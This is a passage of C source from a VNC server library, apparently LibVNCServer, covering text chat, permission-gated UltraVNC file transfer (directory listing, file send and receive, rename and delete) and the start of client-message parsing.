= version; xvp.code = code; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&xvp, sz_rfbXvpMsg) < 0) { rfbLogPerror("rfbSendXvp: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbXvp, sz_rfbXvpMsg, sz_rfbXvpMsg); return TRUE; } rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer) { rfbTextChatMsg tc; int bytesToSend=0; memset((char *)&tc, 0, sizeof(tc)); tc.type = rfbTextChat; tc.length = Swap32IfLE(length); switch(length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: bytesToSend=0; break; default: bytesToSend=length; if (bytesToSend>rfbTextMaxSize) bytesToSend=rfbTextMaxSize; } if (cl->ublen + sz_rfbTextChatMsg + bytesToSend > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } memcpy(&cl->updateBuf[cl->ublen], (char *)&tc, sz_rfbTextChatMsg); cl->ublen += sz_rfbTextChatMsg; if (bytesToSend>0) { memcpy(&cl->updateBuf[cl->ublen], buffer, bytesToSend); cl->ublen += bytesToSend; } rfbStatRecordMessageSent(cl, rfbTextChat, sz_rfbTextChatMsg+bytesToSend, sz_rfbTextChatMsg+bytesToSend); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN(msg, cl, ret) \ if ((cl->screen->getFileTransferPermission != NULL \ && cl->screen->getFileTransferPermission(cl) != TRUE) \ || cl->screen->permitFileTransfer != TRUE) { \ rfbLog("%sUltra File Transfer is disabled, dropping client: %s\n", msg, cl->host); \ rfbCloseClient(cl); \ return ret; \ } int DB = 1; rfbBool rfbSendFileTransferMessage(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length, const char *buffer) { rfbFileTransferMsg ft; ft.type = rfbFileTransfer; ft.contentType = contentType; ft.contentParam = contentParam; ft.pad = 0; /* UltraVNC did not Swap16LE(ft.contentParam) (Looks like it might be BigEndian) */ ft.size = Swap32IfLE(size); ft.length = Swap32IfLE(length); FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbSendFileTransferMessage( %dtype, %dparam, %dsize, %dlen, %p)\n", contentType, contentParam, size, length, buffer); */ LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&ft, sz_rfbFileTransferMsg) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } if (length>0) { if (rfbWriteExact(cl, buffer, length) < 0) { rfbLogPerror("rfbSendFileTransferMessage: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); return FALSE; } } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbFileTransfer, sz_rfbFileTransferMsg+length, sz_rfbFileTransferMsg+length); return TRUE; } /* * UltraVNC uses Windows Structures */ #define MAX_PATH 260 typedef struct { uint32_t dwLowDateTime; uint32_t dwHighDateTime; } RFB_FILETIME; typedef struct { uint32_t dwFileAttributes; RFB_FILETIME ftCreationTime; RFB_FILETIME ftLastAccessTime; RFB_FILETIME ftLastWriteTime; uint32_t nFileSizeHigh; uint32_t nFileSizeLow; uint32_t dwReserved0; uint32_t dwReserved1; uint8_t cFileName[ MAX_PATH ]; uint8_t cAlternateFileName[ 14 ]; } RFB_FIND_DATA; #define RFB_FILE_ATTRIBUTE_READONLY 0x1 #define RFB_FILE_ATTRIBUTE_HIDDEN 0x2 #define RFB_FILE_ATTRIBUTE_SYSTEM 0x4 #define RFB_FILE_ATTRIBUTE_DIRECTORY 0x10 #define RFB_FILE_ATTRIBUTE_ARCHIVE 0x20 #define RFB_FILE_ATTRIBUTE_NORMAL 0x80 #define RFB_FILE_ATTRIBUTE_TEMPORARY 0x100 #define RFB_FILE_ATTRIBUTE_COMPRESSED 0x800 rfbBool rfbFilenameTranslate2UNIX(rfbClientPtr cl, /* in */ char *path, /* out */ char *unixPath, size_t unixPathMaxLen) { int x; char *home=NULL; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* * Do not use strncpy() - truncating the file name would probably have undesirable side effects * Instead check if destination buffer is big enough */ if (strlen(path) >= unixPathMaxLen) return FALSE; /* C: */ if (path[0]=='C' && path[1]==':') strcpy(unixPath, &path[2]); else { home = getenv("HOME"); if (home!=NULL) { /* Re-check buffer size */ if ((strlen(path) + strlen(home) + 1) >= unixPathMaxLen) return FALSE; strcpy(unixPath, home); strcat(unixPath,"/"); strcat(unixPath, path); } else strcpy(unixPath, path); } for (x=0;x<strlen(unixPath);x++) if (unixPath[x]=='\\') unixPath[x]='/'; return TRUE; } rfbBool rfbFilenameTranslate2DOS(rfbClientPtr cl, char *unixPath, char *path) { int x; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); sprintf(path,"C:%s", unixPath); for (x=2;x<strlen(path);x++) if (path[x]=='/') path[x]='\\'; return TRUE; } rfbBool rfbSendDirContent(rfbClientPtr cl, int length, char *buffer) { char retfilename[MAX_PATH]; char path[MAX_PATH]; struct stat statbuf; RFB_FIND_DATA win32filename; int nOptLen = 0, retval=0; #ifdef WIN32 WIN32_FIND_DATAA winFindData; HANDLE findHandle; int pathLen, basePathLength; char *basePath; #else DIR *dirp=NULL; struct dirent *direntp=NULL; #endif FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* Client thinks we are Winblows */ if (!rfbFilenameTranslate2UNIX(cl, buffer, path, sizeof(path))) return FALSE; if (DB) rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: \"%s\"->\"%s\"\n",buffer, path); #ifdef WIN32 // Create a search string, like C:\folder\* pathLen = strlen(path); basePath = malloc(pathLen + 3); memcpy(basePath, path, pathLen); basePathLength = pathLen; basePath[basePathLength] = '\\'; basePath[basePathLength + 1] = '*'; basePath[basePathLength + 2] = '\0'; // Start a search memset(&winFindData, 0, sizeof(winFindData)); findHandle = FindFirstFileA(path, &winFindData); free(basePath); if (findHandle == INVALID_HANDLE_VALUE) #else dirp=opendir(path); if (dirp==NULL) #endif return rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, 0, NULL); /* send back the path name (necessary for links) */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, length, buffer)==FALSE) return FALSE; #ifdef WIN32 while (findHandle != INVALID_HANDLE_VALUE) #else for (direntp=readdir(dirp); direntp!=NULL; direntp=readdir(dirp)) #endif { /* get stats */ #ifdef WIN32 snprintf(retfilename,sizeof(retfilename),"%s/%s", path, winFindData.cFileName); #else snprintf(retfilename,sizeof(retfilename),"%s/%s", path, direntp->d_name); #endif retval = stat(retfilename, &statbuf); if (retval==0) { memset((char *)&win32filename, 0, sizeof(win32filename)); #ifdef WIN32 win32filename.dwFileAttributes = winFindData.dwFileAttributes; win32filename.ftCreationTime.dwLowDateTime = winFindData.ftCreationTime.dwLowDateTime; win32filename.ftCreationTime.dwHighDateTime = winFindData.ftCreationTime.dwHighDateTime; win32filename.ftLastAccessTime.dwLowDateTime = winFindData.ftLastAccessTime.dwLowDateTime; win32filename.ftLastAccessTime.dwHighDateTime = winFindData.ftLastAccessTime.dwHighDateTime; win32filename.ftLastWriteTime.dwLowDateTime = winFindData.ftLastWriteTime.dwLowDateTime; win32filename.ftLastWriteTime.dwHighDateTime = winFindData.ftLastWriteTime.dwHighDateTime; win32filename.nFileSizeLow = winFindData.nFileSizeLow; win32filename.nFileSizeHigh = winFindData.nFileSizeHigh; win32filename.dwReserved0 = winFindData.dwReserved0; win32filename.dwReserved1 = winFindData.dwReserved1; strcpy((char *)win32filename.cFileName, winFindData.cFileName); strcpy((char *)win32filename.cAlternateFileName, winFindData.cAlternateFileName); #else win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_NORMAL); if (S_ISDIR(statbuf.st_mode)) win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_DIRECTORY); win32filename.ftCreationTime.dwLowDateTime = Swap32IfBE(statbuf.st_ctime); /* Intel Order */ win32filename.ftCreationTime.dwHighDateTime = 0; win32filename.ftLastAccessTime.dwLowDateTime = Swap32IfBE(statbuf.st_atime); /* Intel Order */ win32filename.ftLastAccessTime.dwHighDateTime = 0; win32filename.ftLastWriteTime.dwLowDateTime = Swap32IfBE(statbuf.st_mtime); /* Intel Order */ win32filename.ftLastWriteTime.dwHighDateTime = 0; win32filename.nFileSizeLow = Swap32IfBE(statbuf.st_size); /* Intel Order */ win32filename.nFileSizeHigh = 0; win32filename.dwReserved0 = 0; win32filename.dwReserved1 = 0; /* If this had the full path, we would need to translate to DOS format ("C:\") */ /* rfbFilenameTranslate2DOS(cl, retfilename, win32filename.cFileName); */ strcpy((char *)win32filename.cFileName, direntp->d_name); #endif /* Do not show hidden files (but show how to move up the tree) */ if ((strcmp((char *)win32filename.cFileName, "..")==0) || (win32filename.cFileName[0]!='.')) { nOptLen = sizeof(RFB_FIND_DATA) - MAX_PATH - 14 + strlen((char *)win32filename.cFileName); /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: Sending \"%s\"\n", (char *)win32filename.cFileName); */ if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, nOptLen, (char *)&win32filename)==FALSE) { #ifdef WIN32 FindClose(findHandle); #else closedir(dirp); #endif return FALSE; } } } #ifdef WIN32 if (FindNextFileA(findHandle, &winFindData) == 0) { FindClose(findHandle); findHandle = INVALID_HANDLE_VALUE; } #endif } #ifdef WIN32 if (findHandle != INVALID_HANDLE_VALUE) { FindClose(findHandle); } #else closedir(dirp); #endif /* End of the transfer */ return rfbSendFileTransferMessage(cl, rfbDirPacket, 0, 0, 0, NULL); } char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length) { char *buffer=NULL; int n=0; FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, NULL); /* We later alloc length+1, which might wrap around on 32-bit systems if length equals 0XFFFFFFFF, i.e. SIZE_MAX for 32-bit systems. On 64-bit systems, a length of 0XFFFFFFFF will safely be allocated since this check will never trigger and malloc() can digest length+1 without problems as length is a uint32_t. */ if(length == SIZE_MAX) { rfbErr("rfbProcessFileTransferReadBuffer: too big file transfer length requested: %u", (unsigned int)length); rfbCloseClient(cl); return NULL; } if (length>0) { buffer=malloc((size_t)length+1); if (buffer!=NULL) { if ((n = rfbReadExact(cl, (char *)buffer, length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransferReadBuffer: read"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return NULL; } /* Null Terminate */ buffer[length]=0; } } return buffer; } rfbBool rfbSendFileTransferChunk(rfbClientPtr cl) { /* Allocate buffer for compression */ unsigned char readBuf[sz_rfbBlockSize]; int bytesRead=0; int retval=0; fd_set wfds; struct timeval tv; int n; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuf[sz_rfbBlockSize + 1024]; unsigned long nMaxCompSize = sizeof(compBuf); int nRetC = 0; #endif /* * Don't close the client if we get into this one because * it is called from many places to service file transfers. * Note that permitFileTransfer is checked first. */ if (cl->screen->permitFileTransfer != TRUE || (cl->screen->getFileTransferPermission != NULL && cl->screen->getFileTransferPermission(cl) != TRUE)) { return TRUE; } /* If not sending, or no file open... Return as if we sent something! */ if ((cl->fileTransfer.fd!=-1) && (cl->fileTransfer.sending==1)) { FD_ZERO(&wfds); FD_SET(cl->sock, &wfds); /* return immediately */ tv.tv_sec = 0; tv.tv_usec = 0; n = select(cl->sock + 1, NULL, &wfds, NULL, &tv); if (n<0) { #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk() select failed: %s\n", strerror(errno)); } /* We have space on the transmit queue */ if (n > 0) { bytesRead = read(cl->fileTransfer.fd, readBuf, sz_rfbBlockSize); switch (bytesRead) { case 0: /* rfbLog("rfbSendFileTransferChunk(): End-Of-File Encountered\n"); */ retval = rfbSendFileTransferMessage(cl, rfbEndOfFile, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; case -1: /* TODO : send an error msg to the client... */ #ifdef WIN32 errno=WSAGetLastError(); #endif rfbLog("rfbSendFileTransferChunk(): %s\n",strerror(errno)); retval = rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, 0, 0, NULL); close(cl->fileTransfer.fd); cl->fileTransfer.fd = -1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; return retval; default: /* rfbLog("rfbSendFileTransferChunk(): Read %d bytes\n", bytesRead); */ if (!cl->fileTransfer.compressionEnabled) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); else { #ifdef LIBVNCSERVER_HAVE_LIBZ nRetC = compress(compBuf, &nMaxCompSize, readBuf, bytesRead); /* rfbLog("Compressed the packet from %d -> %d bytes\n", nMaxCompSize, bytesRead); */ if ((nRetC==0) && (nMaxCompSize<bytesRead)) return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 1, nMaxCompSize, (char *)compBuf); else return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); #else /* We do not support compression of the data stream */ return rfbSendFileTransferMessage(cl, rfbFilePacket, 0, 0, bytesRead, (char *)readBuf); #endif } } } } return TRUE; } rfbBool rfbProcessFileTransfer(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length) { char *buffer=NULL, *p=NULL; int retval=0; char filename1[MAX_PATH]; char filename2[MAX_PATH]; char szFileTime[MAX_PATH]; struct stat statbuf; uint32_t sizeHtmp=0; int n=0; char timespec[64]; #ifdef LIBVNCSERVER_HAVE_LIBZ unsigned char compBuff[sz_rfbBlockSize]; unsigned long nRawBytes = sz_rfbBlockSize; int nRet = 0; #endif FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE); /* rfbLog("rfbProcessFileTransfer(%dtype, %dparam, %dsize, %dlen)\n", contentType, contentParam, size, length); */ switch (contentType) { case rfbDirContentRequest: switch (contentParam) { case rfbRDrivesList: /* Client requests the List of Local Drives */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDrivesList:\n"); */ /* Format when filled : "C:\<NULL>D:\<NULL>....Z:\<NULL><NULL> * * We replace the "\" char following the drive letter and ":" * with a char corresponding to the type of drive * We obtain something like "C:l<NULL>D:c<NULL>....Z:n\<NULL><NULL>" * Isn't it ugly ? * DRIVE_FIXED = 'l' (local?) * DRIVE_REMOVABLE = 'f' (floppy?) * DRIVE_CDROM = 'c' * DRIVE_REMOTE = 'n' */ /* in unix, there are no 'drives' (We could list mount points though) * We fake the root as a "C:" for the Winblows users */ filename2[0]='C'; filename2[1]=':'; filename2[2]='l'; filename2[3]=0; filename2[4]=0; retval = rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADrivesList, 0, 5, filename2); if (buffer!=NULL) free(buffer); return retval; break; case rfbRDirContent: /* Client requests the content of a directory */ /* rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; retval = rfbSendDirContent(cl, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; case rfbDirPacket: rfbLog("rfbProcessFileTransfer() rfbDirPacket\n"); break; case rfbFileAcceptHeader: rfbLog("rfbProcessFileTransfer() rfbFileAcceptHeader\n"); break; case rfbCommandReturn: rfbLog("rfbProcessFileTransfer() rfbCommandReturn\n"); break; case rfbFileChecksums: /* Destination file already exists - the viewer sends the checksums */ rfbLog("rfbProcessFileTransfer() rfbFileChecksums\n"); break; case rfbFileTransferAccess: rfbLog("rfbProcessFileTransfer() rfbFileTransferAccess\n"); break; /* * sending from the server to the viewer */ case rfbFileTransferRequest: /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest:\n"); */ /* add some space to the end of the buffer as we will be adding a timespec to it */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* The client requests a File */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; cl->fileTransfer.fd=open(filename1, O_RDONLY, 0744); /* */ if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\") Open: %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), cl->fileTransfer.fd); if (cl->fileTransfer.fd!=-1) { if (fstat(cl->fileTransfer.fd, &statbuf)!=0) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; } else { /* Add the File Time Stamp to the filename */ strftime(timespec, sizeof(timespec), "%m/%d/%Y %H:%M",gmtime(&statbuf.st_ctime)); buffer=realloc(buffer, length + strlen(timespec) + 2); /* comma, and Null term */ if (buffer==NULL) { rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest: Failed to malloc %d bytes\n", length + strlen(timespec) + 2); return FALSE; } strcat(buffer,","); strcat(buffer, timespec); length = strlen(buffer); if (DB) rfbLog("rfbProcessFileTransfer() buffer is now: \"%s\"\n", buffer); } } /* The viewer supports compression if size==1 */ cl->fileTransfer.compressionEnabled = (size==1); /* rfbLog("rfbProcessFileTransfer() rfbFileTransferRequest(\"%s\"->\"%s\")%s\n", buffer, filename1, (size==1?" <Compression Enabled>":"")); */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : statbuf.st_size), length, buffer); if (cl->fileTransfer.fd==-1) { if (buffer!=NULL) free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = statbuf.st_size; cl->fileTransfer.numPackets = statbuf.st_size / sz_rfbBlockSize; cl->fileTransfer.receiving = 0; cl->fileTransfer.sending = 0; /* set when we receive a rfbFileHeader: */ /* TODO: finish 64-bit file size support */ sizeHtmp = 0; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sizeHtmp, 4) < 0) { rfbLogPerror("rfbProcessFileTransfer: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); if (buffer!=NULL) free(buffer); return FALSE; } UNLOCK(cl->sendMutex); break; case rfbFileHeader: /* Destination file (viewer side) is ready for reception (size > 0) or not (size = -1) */ if (size==-1) { rfbLog("rfbProcessFileTransfer() rfbFileHeader (error, aborting)\n"); close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; return TRUE; } /* rfbLog("rfbProcessFileTransfer() rfbFileHeader (%d bytes of a file)\n", size); */ /* Starts the transfer! */ cl->fileTransfer.sending=1; return rfbSendFileTransferChunk(cl); break; /* * sending from the viewer to the server */ case rfbFileTransferOffer: /* client is sending a file to us */ /* buffer contains full path name (plus FileTime) */ /* size contains size of the file */ /* rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; /* Parse the FileTime */ p = strrchr(buffer, ','); if (p!=NULL) { *p = '\0'; strncpy(szFileTime, p+1, sizeof(szFileTime)); szFileTime[sizeof(szFileTime)-1] = '\x00'; /* ensure NULL terminating byte is present, even if copy overflowed */ } else szFileTime[0]=0; /* Need to read in sizeHtmp */ if ((n = rfbReadExact(cl, (char *)&sizeHtmp, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessFileTransfer: read sizeHtmp"); rfbCloseClient(cl); /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return FALSE; } sizeHtmp = Swap32IfLE(sizeHtmp); if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; /* If the file exists... We can send a rfbFileChecksums back to the client before we send an rfbFileAcceptHeader */ /* TODO: Delta Transfer */ cl->fileTransfer.fd=open(filename1, O_CREAT|O_WRONLY|O_TRUNC, 0744); if (DB) rfbLog("rfbProcessFileTransfer() rfbFileTransferOffer(\"%s\"->\"%s\") %s %s fd=%d\n", buffer, filename1, (cl->fileTransfer.fd==-1?"Failed":"Success"), (cl->fileTransfer.fd==-1?strerror(errno):""), cl->fileTransfer.fd); /* */ /* File Size in bytes, 0xFFFFFFFF (-1) means error */ retval = rfbSendFileTransferMessage(cl, rfbFileAcceptHeader, 0, (cl->fileTransfer.fd==-1 ? -1 : 0), length, buffer); if (cl->fileTransfer.fd==-1) { free(buffer); return retval; } /* setup filetransfer stuff */ cl->fileTransfer.fileSize = size; cl->fileTransfer.numPackets = size / sz_rfbBlockSize; cl->fileTransfer.receiving = 1; cl->fileTransfer.sending = 0; break; case rfbFilePacket: /* rfbLog("rfbProcessFileTransfer() rfbFilePacket:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; if (cl->fileTransfer.fd!=-1) { /* buffer contains the contents of the file */ if (size==0) retval=write(cl->fileTransfer.fd, buffer, length); else { #ifdef LIBVNCSERVER_HAVE_LIBZ /* compressed packet */ nRet = uncompress(compBuff,&nRawBytes,(const unsigned char*)buffer, length); if(nRet == Z_OK) retval=write(cl->fileTransfer.fd, (char*)compBuff, nRawBytes); else retval = -1; #else /* Write the file out as received... */ retval=write(cl->fileTransfer.fd, buffer, length); #endif } if (retval==-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } } break; case rfbEndOfFile: if (DB) rfbLog("rfbProcessFileTransfer() rfbEndOfFile\n"); /* */ if (cl->fileTransfer.fd!=-1) close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; break; case rfbAbortFileTransfer: if (DB) rfbLog("rfbProcessFileTransfer() rfbAbortFileTransfer\n"); /* */ if (cl->fileTransfer.fd!=-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } else { /* We use this message for FileTransfer rights (<=RC18 versions) * The client asks for FileTransfer permission */ if (contentParam == 0) { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED! (Client Version <=RC18)\n"); /* Old method for FileTransfer handshake perimssion (<=RC18) (Deny it)*/ return rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, -1, 0, ""); } /* New method is allowed */ if (cl->screen->getFileTransferPermission!=NULL) { if (cl->screen->getFileTransferPermission(cl)==TRUE) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* Deny */ } } else { if (cl->screen->permitFileTransfer) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED by default!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* DEFAULT: DENY (for security) */ } } } break; case rfbCommand: /* rfbLog("rfbProcessFileTransfer() rfbCommand:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; switch (contentParam) { case rfbCDirCreate: /* Client requests the creation of a directory */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; retval = mkdir(filename1, 0755); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCDirCreate(\"%s\"->\"%s\") %s\n", buffer, filename1, (retval==-1?"Failed":"Success")); /* */ retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbADirCreate, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileDelete: /* Client requests the deletion of a file */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (stat(filename1,&statbuf)==0) { if (S_ISDIR(statbuf.st_mode)) retval = rmdir(filename1); else retval = unlink(filename1); } else retval=-1; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileDelete, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileRename: /* Client requests the Renaming of a file/directory */ p = strrchr(buffer, '*'); if (p != NULL) { /* Split into 2 filenames ('*' is a seperator) */ *p = '\0'; if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (!rfbFilenameTranslate2UNIX(cl, p+1, filename2, sizeof(filename2))) goto fail; retval = rename(filename1,filename2); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCFileRename(\"%s\"->\"%s\" -->> \"%s\"->\"%s\") %s\n", buffer, filename1, p+1, filename2, (retval==-1?"Failed":"Success")); /* */ /* Restore the buffer so the reply is good */ *p = '*'; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileRename, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; } break; } /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return TRUE; fail: if (buffer!=NULL) free(buffer); return FALSE; } /* * rfbProcessClientNormalMessage is called when the client has sent a normal * protocol message. */ static void rfbProcessClientNormalMessage(rfbClientPtr cl) { int n=0; rfbClientToServerMsg msg; char *str; int i; uint32_t enc=0; uint32_t lastPreferredEncoding = -1; char encBuf[64]; char encBuf2[64]; if ((n = rfbReadExact(cl, (char *)&msg, 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } switch (msg.type) { case rfbSetPixelFormat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetPixelFormatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } cl->format.bitsPerPixel = msg.spf.format.bitsPerPixel; cl->format.depth = msg.spf.format.depth; cl->format.bigEndian = (msg.spf.format.bigEndian ? TRUE : FALSE); cl->format.trueColour = (msg.spf.format.trueColour ? TRUE : FALSE); cl->format.redMax = Swap16IfLE(msg.spf.format.redMax); cl->format.greenMax = Swap16IfLE(msg.spf.format.greenMax); cl->format.blueMax = Swap16IfLE(msg.spf.format.blueMax); cl->format.redShift = msg.spf.format.redShift; cl->format.greenShift = msg.spf.format.greenShift; cl->format.blueShift = msg.spf.format.blueShift; cl->readyForSetColourMapEntries = TRUE; cl->screen->setTranslateFunction(cl); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); return; case rfbFixColourMapEntries: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFixColourMapEntriesMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); rfbLog("rfbProcessClientNormalMessage: %s", "FixColourMapEntries unsupported\n"); rfbCloseClient(cl); return; /* NOTE: Some clients send us a set of encodings (ie: PointerPos) designed to enable/disable features... * We may want to look into this... * Example: * case rfbEncodingXCursor: * cl->enableCursorShapeUpdates = TRUE; * * Currently: cl->enableCursorShapeUpdates can *never* be turned off... */ case rfbSetEncodings: { if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetEncodingsMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4),sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4)); /* * UltraVNC Client has the ability to adapt to changing network environments * So, let's give it a change to tell us what it wants now! */ if (cl->preferredEncoding!=-1) lastPreferredEncoding = cl->preferredEncoding; /* Reset all flags to defaults (allows us to switch between PointerPos and Server Drawn Cursors) */ cl->preferredEncoding=-1; cl->useCopyRect = FALSE; cl->useNewFBSize = FALSE; cl->cursorWasChanged = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableCursorPosUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; cl->turboQualityLevel = -1; #endif #endif for (i = 0; i < msg.se.nEncodings; i++) { if ((n = rfbReadExact(cl, (char *)&enc, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } enc = Swap32IfLE(enc); switch (enc) { case rfbEncodingCopyRect: cl->useCopyRect = TRUE; break; case rfbEncodingRaw: case rfbEncodingRRE: case rfbEncodingCoRRE: case rfbEncodingHextile: case rfbEncodingUltra: #ifdef LIBVNCSERVER_HAVE_LIBZ case 